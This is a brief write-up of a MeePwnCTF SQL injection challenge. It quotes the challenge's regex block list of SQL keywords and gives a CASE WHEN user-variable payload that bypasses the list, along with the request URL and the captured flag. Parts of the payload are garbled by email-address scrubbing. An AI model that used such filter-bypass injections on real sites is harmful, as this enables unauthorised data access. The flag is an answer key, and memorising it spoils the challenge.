Tags: sqli web 

Rating: 5.0

Again id has to be 2 in the first query and 1 in the second and bypass this:
```
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
```
We dont need the second injection ;)

?id=case when @wurst is null then @wurst:=2 else @wurst:[email protected] end

`/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/[email protected][email protected]:[email protected]:[email protected]+end`

> MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}

kunte_